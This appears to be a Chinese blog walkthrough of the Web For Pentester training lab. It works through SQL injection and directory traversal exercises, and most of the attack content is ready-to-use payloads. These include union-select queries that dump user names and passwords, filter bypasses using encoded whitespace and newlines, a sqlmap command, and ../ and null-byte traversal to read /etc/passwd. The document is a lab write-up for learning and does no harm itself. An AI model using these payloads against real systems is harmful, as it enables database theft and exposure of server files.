Web For Pentester - SQL injections/Directory traversal
SQL injections
Example 1 典型的SQL注入
name=root' or 1=1 %23
直接执行就可以导出所有用户

查看后端的源码

观察到,我们传入入的name中,传入就成为了'root',所以我们root' %23就是root' #可以闭合成功
这里由于后面也有一个',所以可以执行
name=root' or '1'='1
传入就成为了root' or '1'='1',判断是正常的sql语句,直接导出所有用户名

可以使用常规的思路union select联合查询直接注入
1. order by 查询字段数
2. union selesct 查询可以显示的字段
3. select table_name from information_schema.tables where table_schema=database()查询当前数据库表名
4. select column_name from information_schema.columns where table_schema=database() and table_name=获取的表名 查询数据表中的列明
5. select 列名 from 表名 查询数据
name=root' order by 5%23
判断我5个列
name=root' union select 1,2,3,4,5 %23
获取到只有 1,2,3列可以显示数据
name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() %23
获取到数据库下的表名为 users
name=root' union select column_name,2,3,4,5 from information_schema.columns where table_schema=database() and table_name=0x7573657273 %23 \
得到重要列名为name,passwd
name=root' union select name,passwd,3,4,5 from users%23
获取用户名密码,如下图

Example 2 过滤空格
像上一关测试or 1=1

提示ERROR NO SPACE,错误空格,就是不能输入空格
审计后端源码

通过preg_match函数检测name中是否有空格,如果有die终止并打印ERROR NO SPACE
不可以使用空格,但是有很多类似空格的空字符,这里我们使用/**/绕过
root'/**/or/**/1=1%23

绕过成功
这里绕过空格的方法很多
· %09 水平TAB键
· %0b 垂直TAB键
· %0a 新的一行
· %0c 行的一页
· %0d return功能
· %a0 空格
· /**/ 注释
Example 3 过滤多个空格
审计源码

使用了正则表达式的\s+,表示的意思是匹配任意前面的字符,这里就是匹配任意空格
所以我们还是可以使用上一关的方法
name=root'%a0or%a01=1%23

过关
Example 4 没用的过滤
审计源码

这里通过mysql_real_escape_string() 在特殊字符\ ' "前面加入\进行了转义
但是这里传参的是数字类型,并不用使用' "等特殊字符进行闭合,所以这个函数并没什么用
直接进行测试
id=2 or 1=1
导出所有用户

过关
Example 5 没用的正则匹配
通过观察后端源码,使用preg_match正则匹配传入id的开头是否为1-9之间的数字,否者返回ERROR INTEGER REQUIRED

但是上述方法对我们的语句没有什么作用
id=2 or 1=1
过关

Example 6 没用的正则匹配2
这次是匹配传参结束是否为数字

还是对注入语句没有什么影响
id=2 or 1=1
依然可以通过

过关
Example 7 /m匹配换行
审计源码,匹配了是否以数字开头和数字结束,使用正则写修饰符/m

由于/m是换行匹配,上面我们讲过%0a代表换行,这里使用%0a新的一行,就可以绕过
id=2%0A or 1=1

Example 8 order by 盲注
审计源码

通过观察使用的是的闭合方式,但是如何SQL注入呢,这里由于是闭合,所以无法执行and和union,我就没了办法
使用sqlmap跑一下
sqlmap -u "http://172.16.1.103/sqli/example8.php?order=name" --prifix='`' --batch
--prifix执行闭合方式,--batch自动化注入

爆破成功,由于不太懂原理,这里可以国光的Web For Pentester
过关
Example 9 order by 盲注
审计源码

这关比上一关要更简单一点,没有采用任何闭合方式,直接使用sqlmap跑


过关
Directory traversal 目录穿越
Example 1 没有顾虑
审计源码

可以看到文件默认目录为/var/www/files,将file传入没有进行任何过滤,使用fopen函数读取文件的内容
所以这里我们直接传入../../../etc/passwd,就可以读取passwd文件

过关
Example 2 检测/var/www/files/
审计源码

观察通过strstr判断传入的路径中是否有/var/www/files/
虽然检查了/var/www/files,并不影响我们继续使用../../../
file=/var/www/files/../../../etc/passwd

Example 3 00截断
审计源码

让传入的file后面加入了.png的后缀名,让我们无法自由的输入,很难受
观察PHP 5.3.3,在PHP低于5.3.4中存在00截断漏洞

而且这里做了一个很奇怪的操作,把传入00后面的内容转换为了空
直接传入payload../../../etc/passwd%00

过关
Web For Pentester - SQL injections/Directory traversal的更多相关文章
- 【常见Web应用安全问题】---4、Directory traversal
		
Web应用程序的安全性问题依其存在的形势划分,种类繁多,这里不准备介绍所有的,只介绍常见的一些. 常见Web应用安全问题安全性问题的列表: 1.跨站脚本攻击(CSS or XSS, Cross Si ...
 - 【渗透测试学习平台】 web for pentester -2.SQL注入
		
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
 - Web for pentester_writeup之Directory traversal篇
		
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
 - Web for pentester_writeup之SQL injections篇
		
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
 - Web For Pentester靶场(xss部分)
		
配置 官网:https://pentesterlab.com/ 下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso 安装方法:虚 ...
 - web安全之sql注入实例(5.0之前的)
		
web安全之sql(5.0之前)注入实例 5.0之前的数据库没有information库. 所以这里需要运用的是load_file()函数来获取信息. 1.判断是否有sql注入,用and 1=1 和 ...
 - WEB 安全之 SQL注入 < 三 >  提权
		
SQL注入是一个比较“古老”的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果能清楚了解 攻击的全 ...
 - 【渗透测试学习平台】 web for pentester -1.介绍与安装
		
web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术. 官网:https://www.pentesterlab.com 下载地址: ...
 - WEB 安全之 SQL注入 < 二 > 暴库
		
SQL注入是一个比较"古老"的话题,虽然现在存在这种漏洞的站点比较少了,我们还是有必要了解一下它的危害,及其常用的手段,知己知彼方能百战不殆.进攻与防守相当于矛和盾的关系,我们如果 ...
 - web安全学习(sql注入1)
		
web安全学习(sql注入1) 一.简介 sql语句就是数据库语句,而sql注入就是用户将自己构造的恶意sql语句提交,然后服务器执行提交的危险语句.sql注入可能造成信息泄露以及服务器被控制等危害. ...
 
随机推荐
- ubuntu 系统增加源和删除源文件
			
一.添加PPA源文件 语法格式:sudo add-apt-repository ppa:user/ppa-name 示例: sudo add-apt-repository ppa:sergiomeji ...
 - Lua中__index元方法的介绍与使用
			
一.相关介绍请参考:Lua中__index原方法介绍 二.使用示例 代码如下: 下面示例使用的元素迭代器 --1.列表元素迭代器,仅返回列表中每一个元素,改列表索引必须为连续的数字 function ...
 - CSS3-transform位移实现双开门效果
			
transform可以用于实现位移,旋转,缩放等效果. 位移:transform: translate(水平距离,垂直距离); 这里先借助其位移属性实现双开门的效果,鼠标hover的时候最上面的图片向 ...
 - Linux系统安装&VMware安装二
			
第八步: 完成后,选择刚刚创建好的系统
 - OPENGL入门的小知识点
			
记录一下看到的知识点. 大部分知识点来自于https://learnopengl-cn.github.io/ 1.什么是OpenGL 一般它被认为是一个API,包含了一系列可以操作图形.图像的函数.然 ...
 - obspy常用命令记录
			
如何使用obspy(适用于MAC.Linux.Windows)完全替代SAC(使用于Linux和MAC) 波形预处理 # 去均值 stream.detrend('demean') # 去线性趋势 st ...
 - 【Appium_python】启动app,出现多次打开关闭导致失败问题,driver用单例模式(_new_)进行解决。
			
运用多设备,启动app多次出现打开又关闭问题,查看后是多次对driver进行实例化,就用单例的模式进行解决. 单例模式(Singleton Pattern)目的就是保证一个类仅有一个实例,每一次执行类 ...
 - swoft-个基于 Swoole 原生协程的PHP 微服务框架
			
刚才百度了一下swoft框架,官网打不开了,仓库也暂停了.不由感慨.曾经和同事踩了许多坑使用此极其小众的框架完成微服务项目.使用它的唯一目的就是提高程序性能(底层使用了协程),为此大家都学习了很多新知 ...
 - JAVA、Tomcat服务器
			
JAVA如何配置服务器 Tomcat服务器: 1.Web开发中的常见概念: (1)B/S系统和C/S系统 Brower/Server:浏览器 服务器 系统 ----- 网站 Client/Server ...
 - 30day_网络编程
			
由于不同机器上的程序要通信,于是产生通信 C/S架构: Client与Server,客户端(只有用的时候再使用)与服务端(一直运行,等待服务) B/S架构: 浏览器端与服务器端 Browser浏览器, ...